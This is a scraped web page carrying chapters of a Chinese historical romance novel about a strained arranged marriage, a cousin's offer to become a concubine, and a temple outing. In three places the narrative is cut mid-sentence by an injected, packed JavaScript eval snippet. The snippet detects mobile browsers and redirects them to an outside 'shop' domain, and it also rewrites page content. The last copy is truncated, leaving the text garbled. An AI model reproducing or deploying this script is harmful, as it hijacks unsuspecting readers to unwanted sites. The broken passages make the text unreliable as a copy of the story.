他沉声道：“我还是希望，在这段婚姻存续的期间，你我应当对彼此有最基本的尊重——我不知道，我说明白了没有？” 郑薜萝撑着手臂抬头看他，突然想：他在审犯人时，或许也是这样给对方施压的。 不是“你听懂了没有”，而是“我说明白了没有”——掌权者看似彬彬有礼的征询，而真正心虚的人，面对着他说这句话的姿态，难免生出惶恐。 这是一种天生来自上位者的威压。哪怕房遂宁现在的气焰低到不能再低，也依旧有股凌人的气场。 “不太明白。” 郑薜萝淡淡道，“这便是你昨夜将我推倒在床上，提出所谓的‘新的盟约’？” 房遂宁捏紧拳头，忽觉手心有痛感。 他垂头，掌心一道横贯的血痕，伤口透着鲜红。这才想起昨夜他疯到割破自己的手，把血染在她的唇上，要她饮下自己的血，与他歃血为盟。 对郑薜萝的占有欲驱使他发疯，此刻回想起来，实在不堪。 对方的声音依旧平静：“所以，你想说的是，我们既然是夫妻，便不可与其他任何人有逾矩的行为。是么？” “是这个意思。” “无论婚前，还是婚后？”郑薜萝眉梢微挑。 房遂宁哽在那里接不上话，她心底升起一股恶作剧般的快意。 只是面上仍旧淡淡的：“好吧，都随你。” “……那你先休息。” 郑薜萝点了点头，也不再与他客气，站起身来，朝低垂的帐幔后走去。 她实在是太累了，躺下没过多久，意识便已有些昏沉。 房内安静下来，有那么一瞬间，她以为房遂宁已经离开了。 直到有缓慢的脚步声靠近，最后停在了纱帐之外。 “你既是我的妻子，倘若我们之间不能完全彼此信任，我难保腹背受敌。” 郑薜萝睁开眼。 她背对着房遂宁，面朝里躺着。隔着纱帐，他的声音近在咫尺。 “那时我说，要与你订立盟约，也并非全然胡言乱语，我只是……” 郑薜萝下意识屏住呼吸。然而房遂宁并未继续说下去。 过了一会，脚步声远去了，门轻轻阖上。 - 接下来的日子，如同无风之日春天的湖水，平静得没有一丝涟漪。 虽然裴夫人那么说了，郑薜萝还是按照规矩每日去岁安堂晨昏定省，所有人只当那桩闹剧不曾发生过。只是偶尔，裴夫人看向儿媳的目光中，会藏着一些复杂的情绪。 没过多久，房遂宁终于销假，回刑部赴任。 刑部比之其他五部，规矩更为严明。城钟初鸣时，各级官吏就要到位就署公事，晚到的人则要受到笞责。房遂宁作为刑部排行首位的郎中，言行为众人垂范，每日五更三刻便起身准备去衙署。 郑薜萝近距离感受到他严苛如军人一般的作息，有时前一晚忙到深夜，第二日天不亮，便早起如常，却毫无半点困顿之色。 临行前，她帮他整理衣襟、收束蹀躞带，再捧过獬豸官帽替他戴好……经过一段磨合，一套动作已无当初的生涩，十分利落干净。 只是这过程中二人始终无话，虽然二人已经有过肌肤之亲，然而郑薜萝替房遂宁更衣时，还是能察觉他身体不自觉的紧绷，有时领口系紧了些，也只是自己默默调整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143264|194326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好，而她也摸清了更多他的习惯和喜好，不再会踩到禁区。 或许是因那一夜短暂地打破了彼此的界线，他们在外人面前，已经习惯了从容地展露亲密。郑薜萝学会在与他距离太近时，熟练地屏住呼吸，只将视线平静地落在他的喉结处。偶尔，他的喉口会微微滚动，只是一瞬，便恢复如常。 比起新婚，她们似乎更像言多无益的老夫老妻。 每日送走房遂宁，偌大的府院更显得空旷。 这日午后，郑薜萝坐在廊下，喝完他们端来最后一剂调理身体的药，望着春意盎然的花园出神。 且微见她百无聊赖的样子，便在一旁出主意：“娘子，咱们园子里走走？” 郑薜萝看她一眼，没动作。 “走吧！”且微不屈不挠地怂恿，“宁安公主送的那架秋千，您还没试过呢！” 郑薜萝失笑，站起身来。 “行吧。” 秋千架安在贯通整座循园的水系上游，风吹皱池水，便闻流水潺潺，莫名舒爽了不少。 且微记挂着郑薜萝身体，不想让她吹风，只有一下没一下地推着。 “丫头，用点力啊——”郑薜萝知道她心思，一边晃着，一边调侃，“是不是没吃饱？” 且微鼓起腮帮子，再来时手上便加了劲道。 郑薜萝低呼一声，下一瞬便高高地荡了起来。 春风拂过碧色的裙裾，将她鬓边的几缕碎发也吹起来，绿树，假山，草地，楼阁，还有远处围墙外，车马喧嚣的长街，都到了脚下。 她闭起眼，唇角有了笑意。 且微仰头望着秋千上的人，这一刻主子的心情终于放松了些，于是更加卖力地推了几下，手臂都开始酸了。 郑薜萝笑着转脸去看她，余光瞥见月门另一边有人过来。是泊舟。 “好了，停一停吧。” “夫人，打扰了。”泊舟走过来，向郑薜萝行礼。 “无妨，有什么事？” “郎君让捎话，今日衙署事忙，回的晚。” 郑薜萝点点头。且微忍不住道：“这才回去第一天，就忙成这样呀！那咱们，还要不要等郎君用饭呢？” “夫人自行用饭便可，”泊舟解释道，“今日正巧右丞大人莅临刑部视察，召集了五品以上官员。议事结束后，郑大人特地将主子留下了。应当是有要事交待给了他，所以今日才会晚。” 郑薜萝点点头：“知道了。” 原来今日父亲也去了刑部。他特意留下房遂宁，是有什么事？ “一般来说，若是忙到太晚，郎君便宿在衙署了，今日……” 泊舟迟疑了起来，如今主子已经是有家室的人，还这么不着家，也不知少夫人心里会怎么想。 郑薜萝却似乎完全没把他方才的话放心上，一副若有所思的神情。 “那，夫人若没有其他吩咐，小的就先告退了。” “哦，没事，你去吧。” 她目送泊舟的身影离去，却见月门外依稀有个人影过来。身段窈窕，是个女子。 “……玉延？” 30. 第 30 章 裴玉延身着粉衫石榴裙，手里提着一只八角木盒，款款走近：“听闻表嫂身体不适，玉延亲自准备了些点心，特地来探望。” “本来也不是什么严重的事情，表妹有心了。” 郑薜萝示意且微接过食盒，看向裴玉延，“今日园子里春光不错，一起坐坐？” “好。” 湖上架起木道，通向一座临水的四角凉亭。郑薜萝与裴玉延二人一前一后沿着蜿蜒的水系，走到一处开阔的湖边。 二人走进凉亭，在石桌旁对向而坐。 裴玉延两只手放在膝上，略有些局促的样子。 郑薜萝微笑着看她：“你我这是第二次见吧？” “……是。” 裴玉延长了一张瓜子脸，纤长的细眉下一双丹凤眼，细看和她的姑母裴夫人有几分相似。 “玉延如今芳龄几何？” “十八。” 没料想裴玉延竟还大她一岁，若是仍在闺中，倒要喊她一声姐姐的。 看她坐在那里，不声不响的样子，郑薜萝心中也觉得房遂宁和她这位表妹无论家世门第、年龄样貌，还都是挺相衬的。 “表小姐今日过来，是有话要同我说？” 裴玉延深吸一口气，看向郑薜萝：“表嫂一定在想，玉延身为世家郡望之后，逾笄多年却未适人，实在是少见……” 郑薜萝心中并不以为然，却没有打断她。 裴玉延绞着手中的帕子，眉间笼起哀戚之色。 “玉延三岁时，父亲便去世了，母亲哀伤不能自胜，不久也随父亲仙去……我这样的身世，在议婚时，别人家难免会想多。” “表姑娘身世可怜，好在有君姑在，终究不至孤苦无依。”郑薜萝安静地看着她。 ”我自小父母双亡，是姑母收留了我，她的养育之恩，我无以为报……” 裴玉延垂下头，语速放慢，“我自小和桡哥哥一起长大，心中也一直认定，将来会成为他的人，将这份恩情还给房家，好好陪着桡哥哥，也侍奉姑母一辈子。却没想到……” 再抬起头时，她的眼睛已是红红的，“没有想到，圣人会突然给桡哥哥指婚。” 郑薜萝敛眸不语。 “桡哥哥他……性子很倔，对不喜欢的人和事，是不会勉强自己半分。表嫂，我知道你受了委屈，但他确实就是这样的人，也不是有心要伤害你的！” 听她言下之意，应当是听说了那日在岁安堂发生的事情。 郑薜萝掀眉：“所以呢，你想说什么？” “圣人赐婚，乃天命不可违。若是你不愿委屈自己，和桡哥哥做夫妻……” 裴玉延咬了咬牙，红着脸道，“……那玉延愿意来循园，哪怕做小，我也愿意侍奉桡哥哥，为他绵延子嗣！” 郑薜萝陷入沉默。 她有些意外，裴玉延会不顾传闻，跑来直接和自己摊牌，而作为世家嫡女，宁肯自降身份做小，这份胆量和深情确实让人难以理解；又有些理所当然——房遂宁对她而言，或许本来就是最好的归宿，亲上加亲，知根知底，顺理成章。 “房遂宁他，也是这么想的？” 裴玉延一怔。 她早就认定有朝一日，自己会成为循园的女主人，而家中长辈话里话外透露出的意思，也一直是如此。除了房遂宁，她从来不曾接触过其他的外男。想到会离开房家，嫁去给陌生的男人，她只觉得可怕。 她从姑母口中听说了打胎.药的事，便真心为表哥感到惋惜。他那么好的人，老天不应该对他如此不公。 然而从始至终，她都未曾和房遂宁清楚表达过自己对他的情意，更遑论主动说要做他的妾室。事实上，自房遂宁婚后，她便再没遇到机会和表哥单独说过话。 “这样的事情，还是得听他的。” 见裴玉延不说话，郑薜萝淡淡道。 若是正妻不表态，丈夫是不能将妾室迎进家门的。大祈曾经出过不少这样的事——丈夫有意纳妾，却遭到妻子的反对，告到官府，夫家赔个人财两失，也没能得偿所愿，反倒惹上个”不敬结发妻”的骂名。 像房遂宁这样的朝廷要员，更是不能有如此污点。 裴玉延眉头微蹙，将郑薜萝的口吻理解成了推脱。 看着郑薜萝清冷淡然的神色，竟莫名与表哥有几分神似，都说夫妻成婚之后会越来越像彼此……裴玉延心底渐渐浮上妒意。 “玉延自小与桡哥哥一起长大，外人眼中，他孤僻自傲、冷漠寡情，实则他真正的内心，没有人看懂过……” “只有玉延知道，他才不像外界传言，是什么‘阎罗’‘恶鬼’，桡哥哥他是个意志坚定，勇于承担的好男人。” 郑薜萝安静地听着，始终未置一词。 “桡哥哥自被绑架案之后，因为大哥哥的死，整个人性情大变……” 裴玉延眼眶一红，眼泪如同断了线的珠子簌簌而落，“父亲当年，也是在调查绑架案期间，从蓁州赶回玉京的途中，连人带马摔落山谷，尸骨难寻……” 她哽咽着，“桡哥哥曾经向我保证，他一定会将凶手绳之以法，以告慰荃哥哥和父亲的在天之灵。” “当年六部抢着要他，桡哥哥却选了最苦最难的刑部，背后的原因也是为此，我能懂表哥，他一旦做了决定的事，就一定要做到……” 裴玉延试探地看向对面，“这一切，他和你说过么？” 郑薜萝抿唇不语。 她听到的房氏绑架案大多是支离的片段，而当事人从没有和她谈及过多细节。 裴玉延拿帕子压了压眼角：“也是，这是桡哥哥心中唯一的痛，他那么骄傲，又怎么会暴露在外人面前？” 她盯着郑薜萝，刻意在“外人”二字上加重语气。 “我还知道，桡哥哥有一处秘密禁地，他心情不好时就会去那里——这件事，连姑母也是不知的。” “秘密禁地？”郑薜萝掀眉。 “那别院就在麟趾山，只有他最亲近的人才知道，桡哥哥也没有告诉过你吧？” 她说这话时微微扬着下颌，方才的哀戚已经被得意所取代。 “没有。他没有说过这些。” 郑薜萝淡淡道，“可是，表姑娘告诉我这些，岂不是有负你桡哥哥的信任？” - 房遂宁归家时，天色已然黑透，本已打算宿在书房，却瞥见主屋内依旧亮着灯。 他走过去，敲了敲门。 且微打着呵欠开门：“郎君回来了？” “嗯。你们主子还没睡？” 且微转脸，窗边端坐着人影，埋着头甚是专注。 她正要出声，房遂宁道：“你下去吧。” 绕过屏风，窗边桌案上，郑薜萝挽着袖子，露出一截白皙的手腕，正专注地用一根玉杵在犀白的瓷钵中缓缓研磨。 “你在做什么？” “叮”一声，郑薜萝手中的玉杵撞在瓷钵上。 “——你回来了。”她信手挽了挽头发，站起身来，“要叫厨房送些夜宵过来么？” “不用，我已在衙署用过廊食。” 房遂宁解下身上的披风，放在一边，“我叫泊舟传消息，便是让你们不必等的意思。” “知道了。” 郑薜萝坐回去，重又埋首继续手里的事。 房遂宁走过去，在她桌边站定。 桌案上铺着一块白色的毡布，一张竹垫上，整齐地摆着一排排金色的绒丝，极细的纤维交织在一起，抻拉成相似的长度。 “这是什么？” “藕丝。” 郑薜萝埋着头，手握玉杵，缓缓朝同一方向研磨着，瓷钵中是浓稠得化不开的正朱红色。 “你这做的是……印泥？” “嗯。” 她依旧没有抬头，碎发间白皙的脖颈随着动作轻移着，似一张细网。 空气中萦绕着一股若有似无的淡淡香气，那是藕梗的清涩味，混杂着郑薜萝身上的白柰。她持杵的手因为用力，纤细指尖呈现淡淡的血色，更有几分不堪一握的味道。 他的目光顺着她紧蹙的眉头，落在沁着细密汗珠的鼻尖。 “府上不缺这些，” 房遂宁不着痕迹地移开视线，清了清嗓子，“——何须自己动手，如此繁琐？” “那不一样。” 郑薜萝终于抬起头来。 “市售的印泥，多以蓖麻油调制，易晕染，色不古。这个……用的是八年陈的蓖麻油，又加了特质的原料，里面除了藏红花、犀黄，还加了珍珠粉、麝香，还有这个——” 她指向竹垫上的那些藕丝。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17150967|194326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“——万里挑一丝，方得绕指柔。加入了藕丝的朱泥，钤印时拉丝如漆，万毫齐力，印文清晰如刻。且水浸不烂，火烧留痕，你若勾决案情文书时，可以试一试这个。” “水浸不烂，火烧留痕……” 房遂宁勾了勾唇，拿起她手边的瓷钵细细端详着，“这么厉害，那我便拿去试试。” 郑薜萝将玉杵搁下，站起身来，抬手揉了揉肩胛。 “你时常都忙到这个时候么？” 她不是过问太多的性子，只是自从两个人确认了这场婚姻的底线之后，便达成了某种默契：有些事还是要主动适应，避免对方和自己都太累。 房遂宁正在解腰间的蹀躞带，听了她这句看似关怀的问话，动作微顿。 “原本手头是有一桩案子，比较棘手，但之前已经交出去了，其实是不怎么忙的。” 郑薜萝走过来，接过他宽下的外袍，挂去搁架上。 “不过，今日右丞大人来刑部督查，将比部的事情都划归给我负责。一通交接下来，这才晚了。”房遂宁看着她背影，眉峰微挑。 刑部下辖的比部司，负责诸司百寮俸料、公廨赃赎等事务，说白了，便是有监督审查六部经济账册和审计之职。 郑薜萝始终没说话，将衣服挂好后便站在原地，兀自出神。 此前房遂宁因为“恶钱”案和郑远持交锋，她曾有所耳闻。父亲如今反将查账的职责全权交给了房遂宁，似乎再无任何芥蒂，其中又是出于何考虑？ 身后，房遂宁的声音靠近了些，听不出语气：“你说，泰山大人他是不是担心我赋闲太过，给你添麻烦，才有意叫我为公务所拖累？” 郑薜萝下意识否认：“怎么可能？” 房遂宁垂眸，她的脸近在咫尺。她的眼睛下方还沾了一小粒朱红的印油。 “你……” 他下意识伸出手指，缓缓凑近。 距离突破安全界线，男人身上清冽的味道越来越近，郑薜萝皱着眉向后让了让。 房遂宁收回手，点了点自己眼下位置。 “——这里，染上了。” 郑薜萝伸手去抹，却将那粒红色晕开了，如同在脸颊上施了一层薄薄的胭脂。 似微醺，又似化不开的春意。 房遂宁静静看着她，半晌没有说话。郑薜萝在这静默的气氛里转身：“我还是去洗一下吧。” 他的声音在身后离得远了：“你方才说，那印泥里头的原料有麝香？” “是啊，怎么了？” “……似乎对身体不好。” “无妨。” 郑薜萝抿了抿唇，又道，“我的意思是，那点麝香份量很小。” 外间没了声音。 郑薜萝从浴房出来，只见房遂宁还似木头一般杵在原地，吓了一小跳。镇静下来后，方扔下一句“早些睡吧”，便往内间走去。 房遂宁看着她背影，神色冷了下来。 郑远持对自己如此“重用”的用意，他还是能猜出一二。刑部查账，每每都从油水最丰的户部开刀——六部调整，户部如今正是父亲房速崇的势力范围，这便隐隐有些“以子之矛，攻子之盾”的意味…… 房间另一头窸窸窣窣的动静将他的思绪打断，他眸光微动，落在屏风后的人影。 “听泊舟说，今日玉延来过？” “是。” “……你们说什么了？” 有一瞬间，他甚至觉得郑薜萝已经睡着了。朦胧中，人影却动了。 “没说什么。” 郑薜萝伸出手，将一侧挂钩上床帐放下来，彻底消失在帷帐之后。 “你们关系亲厚，有些事，她可能直接与你说，倒也不必通过我。” “这话什么意思？” 隔空传来的声音听不出情绪：“意思是，既然我们已有约定，我不会去打探你的私隐，若是无意涉足，也绝非我本意。至于旁人要来说什么话，我控制不了。” 好像再说什么都显得有些小家子气，郑薜萝语气简洁地收尾，“总之，我会遵守约定。你自己的事情自己做主就好，不必来听我的意见。” 房遂宁眉头微皱，刚想追问，周身倏然暗下来。 房间那一头，郑薜萝将灯烛灭了。 帘幕另一头彻底没了动静。 31. 第 31 章 转眼到了佛诞日，按习俗，这一日各家要备祭祀用的五色香水、灯烛祭品，赴寺庵祭拜，行浴佛礼。 天还未亮，郑薜萝便赶到房府，预先检查一应祭祀的细节。房府乃是百年世家，车马仪仗前需有护卫持幡旗开道，沿途还需撒“净路钱”……随着裴夫人操持过几回，如今她已经能够独当一面。 女眷们乘坐的幰车在府门前的青石道上一字排开，后面跟着的几辆牛车上拉着盆装的牡丹、百合、芍药、木香等香花，还有一桶桶香花浸泡好的花汁——都是要拉去寺庙里供在佛前的，鲜花一丛丛一簇簇开得正盛，香气充盈了一整条街。 行人经过，都忍不住深吸一口气，朝那香气深处、阀阅之下望过去，只见房家少奶奶拎着一篮芍药站在朱门外，一身柔蓝色长裙，头梳高髻，清丽出尘犹如仙子。 吉时已到，裴夫人一身翟衣，率先走出府门。 “母亲，已经准备好，可以出发了。” 裴夫人颔首，微微侧目道：“玉延呢？” “来啦！”裴玉延脚步匆忙地迈出门槛。 “这么这么慢，”裴夫人转头看向侄女，语气和缓，“在后面忙什么呢？” 裴玉延提着一只精致的食盒走上前，面上还带着一路疾步的红晕，一只手自然而然地挽住了裴夫人。 “让姑母久等了，抱歉。一早起来熬煮豆子，忘了时间。” 裴夫人身后的秦嬷嬷笑着道：“原来姑娘是做这‘结缘豆’去了啊！今日佛前祝祷，定能灵验，愿赐姑娘一个缘定之人……” 裴玉延面上的红晕深了些，抿着唇不说话。视线飘到裴夫人身后的郑薜萝，笑意收敛了些。 郑薜萝神色如常，朝她微微一笑。 制“结缘豆”，也是佛诞日的习俗之一——将黄豆、青豆和大豆混成的三色豆煮熟，撒上糖盐，供在佛前作祭品，以求结命定的缘分。 裴玉延心中所求，在场人莫不心中有数。 裴夫人拍了拍她的手背，没多说什么：“走吧。” 一声令下，众人随着主母步下台阶。今日礼敬佛祖，个个衣饰华丽，妆容精致，如群仙下凡一般的气势。房府这样声势浩大的女眷出游成了一道风景，引得路人纷纷驻足，探头探脑地观望。 裴玉延挽着姑母的手，一直走到车队前。 按照道理，今日裴夫人代表作为房家主祭，应由儿媳郑薜萝陪着一同坐车。裴玉延在头车前顿住脚步，松开裴夫人的手，后退了一步。 “不如玉延表妹陪着母亲坐吧。我押后，也好照应着些。”郑薜萝敛眸道。 裴夫人未置可否，裴玉延却是眼神一亮：“真的可以么？表嫂。” 郑薜萝点头：“便有劳表妹照看母亲大人。” 她说罢，也不再看两人神情，埋着头自顾向后车走去。 身后突然响起男人清朗的声音。 “娘子。” 一众女眷循声转头。房遂宁长身而立，穿一身佛头青的圆领深袍，玉冠束发，俨然芝兰玉树般的世家公子。 “是表哥！”裴玉延一脸惊喜。 郑薜萝愣在原地，还没反应过来那声语气自然的“娘子”是在喊谁。 远处的人走到了身边，与她并肩而立，一躬身，向裴夫人行了礼：“母亲。” 裴夫人点点头：“怎么过来了，今日不用去衙署？” “上回祈福，回来后这段时间颇觉神清气爽，果然灵气充沛的地方就是不一样。儿便想着，有机会再去山里散散心——今日天气不错，正好就进山一趟。” “难得你有这份心，不如就和我们一同去寺里祭拜？” 房遂宁抿唇，似在考虑母亲的提议。郑薜萝冷眼看着，心知他对这类活动并无半点兴趣，大约只是为了不在众人面前驳母亲的面子，才做出犹豫状。 孰料手心一动，被房遂宁牵住了。 他笑着朝她看过来，语气散漫地应了声：“好啊，那儿就和薜萝坐一辆车走。” 裴夫人似乎也有些意外：“……甚好。延儿，咱们也上车吧。” 裴玉延将视线从面前二人紧紧牵着的手上收回，心不在焉地扶着裴夫人转身离开，在上车凳前还绊了一下。 房遂宁目送着母亲登上马车，转头看向郑薜萝。 “走吧。” “……哦。” 房遂宁的视线落在她手里挎着的那篮花香扑鼻的百合上，眉头皱了皱，却也没说什么，自顾自率先登上了车。 郑薜萝将篮子交给旁边的婢女，拎起衣袍跟着上车，靠着门边坐下。 房遂宁见她空手上车，便问：“花呢？” “给丫鬟了。你不是不喜欢那味道？” 房遂宁看她一眼，没说话。 他看出来郑薜萝话虽不多，却很会察言观色。只是她不知道，哪怕没有花，可她身上的味道却比什么花香都有存在感。哪怕此刻刻意与他拉开距离，也能让他心浮气躁。 他阖上眼，静心入定。 车入麟趾山，速度明显慢了下来。郑薜萝信手掀起车帘看外面的风景。 山道上除了寻常百姓，偶有腰挎长刀的黑衣士兵列队经过，在山道狭窄处遇上大户人家的马车，引起短暂地堵塞。 “怎么今日山道上这么多官兵……” “佛诞日山上人流多，自然需要人手维持秩序。”闭着眼的人突然开口应声。 说话间车夫拐上了一道窄道，外面的声音渐渐远了。 约莫过了一炷香的时间，房遂宁睁开眼：“停车。” 马车在山道上缓缓停下，郑薜萝掀开车帘，房遂宁下车后，已经动作利落地上了一匹马。 随行的下人垂着眼，早已对少郎君这样说走就走的脾气见怪不怪。 房遂宁持握住缰绳，转身看向车里的人。 “我还有事，你先自己去吧。寺庙里人多，自己多留神。” “知道了。”郑薜萝亦没有一句多余的疑问。 房遂宁深深看了她一眼，勒马转头，朝山林深处去了。 郑薜萝在车里坐了半晌，掀起窗帘。 雾气缭绕在绿意盎然的山林之间，她想起那日裴玉延说过的话，静静地出了会神。 车夫正等着少夫人开拔的命令，却见她从马车上下来了。 “给我匹马。” 少夫人和郎君相处久了，连行事风格都有些相似了，车夫看着郑薜萝的神情却不敢多问，只乖乖地照做。 郑薜萝翻身上马，握住缰绳。 “哎少夫人——” 车夫喊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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此时他们已经走到了院落尽头。只见嶙峋的山壁之下一汪泉水，水面上浮着一层白色的雾气。 “这里竟然还有温泉。” 房遂宁抿了抿唇，这鸿温泉由他一人私有，每每接触三教九流的罪犯和嫌疑人，或是监斩行刑之后，会来这温泉濯洗去一身腥浊气。 现在他们并肩站在这里，气氛有几分奇怪。 他清了清嗓：“走吧，去那边看看。” 郑薜萝顺着他离开的方向望过去。那座三层楼阁静静地伫立在庭院一角，檐角的铜铃被风吹动，发出清脆的声响。 或许是那夜，楼阁隐于夜色，与背后的高山融为一体，莫名显得神秘而庞大，此刻看来，也不过只有三层高而已。一切都是那么平易近人。 她缓步走近，仰头看清上方悬挂着的牌匾。 “画、麟……” “这两个字是师父留下的，这座楼阁便以此命名。” “进来吧。” 房遂宁坦诚地看着她。 郑薜萝却后退一步。 “我们既已约法三章，这里是你的私人领地，我还是不进去了。”